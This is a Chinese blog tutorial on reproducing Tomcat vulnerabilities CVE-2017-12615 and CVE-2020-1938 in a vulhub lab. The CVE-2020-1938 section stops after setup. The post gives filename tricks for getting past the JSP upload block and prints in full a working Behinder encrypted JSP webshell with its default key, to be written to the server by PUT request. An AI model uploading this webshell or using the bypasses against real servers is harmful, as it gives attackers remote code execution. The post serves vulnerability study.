Tomcat漏洞复现CVE-2017-12615&CVE-2020-1938&弱口令

最新推荐文章于 2024-07-18 20:24:03 发布

种树人1

最新推荐文章于 2024-07-18 20:24:03 发布

阅读量1.1k

点赞数

分类专栏：漏洞文章标签： tomcat java 安全

本文链接：https://blog.csdn.net/m0_58596609/article/details/122413144

版权

漏洞专栏收录该内容

36 篇文章 8 订阅

订阅专栏

0x00 前言

今天来复现tomcat的三个漏洞

--学如逆水行舟，不进则退

0x01 CVE-2017-12615

1.漏洞简介

由于配置不当（非默认配置），将配置文件conf/web.xml中的readonly设置为了 false，导致可以使用PUT方法上传任意文件，但限制了jsp后缀的上传

根据描述，在 Windows 服务器下，将 readonly 参数设置为 false 时，即可通过 PUT 方式创建一个 JSP 文件，并可以执行任意代码

通过阅读 conf/web.xml 文件，可以发现，默认 readonly 为 true，当 readonly 设置为 false 时，可以通过 PUT / DELETE 进行文件操控

2.影响版本

apche tomcat 7.0.0-7.0.81

3.漏洞复现

环境搭建(此处省略，使用vulhub搭建)，出现以下页面，说明搭建成功

使用bp抓包进行文件上传

注意:::需要改成PUT请求方式，注意点已在图中标记，出现201，应该是上传成功了

进去docker容器中看一下

使用以下命令进去容器之后，需到容器的/usr/local/tomcat/webapps/ROOT中查看

docker ps -a //查看容器ID

docker exec -it 容器ID bash // 进去容器

尝试抓包写入冰蝎的jsp木马

注意:由于限制了jsp后缀的上传，这里需要绕过，绕过方式有三种

1.Windows下不允许文件以空格结尾以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格  
2.Windows NTFS流Put/a001.jsp::$DATA HTTP/1.1  
3. /在文件名中是非法的，也会被去除（Linux/Windows）Put/a001.jsp/http:/1.1

冰蝎jsp木马如下：

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

使用bp抓包写入,如下图(注意点已在图中标出)

使用冰蝎连接

0x02 CVE-2020-1938

漏洞简介

CVE-2020-1938为Tomcat AJP文件包含漏洞。由长亭科技安全研究员发现的存在于 Tomcat中的安全漏洞，由于 Tomcat AJP协议设计上存在缺陷，攻击者通过 Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文件，例如可以读取 webapp配置文件或源码。

此外在目标应用有文件上传功能的情况下，配合文件包含的利用还可以达到远程代码执行的危害。

影响版本

Apache Tomcat 6
7 <=  Apache Tomcat < 7.0.100
8 <=  Apache Tomcat  < 8.5.51
9 <=  Apache Tomcat  < 9.0.31

漏洞复现

环境搭建(这里同样使用vulhub搭建)，出现以下图片，说明搭建成功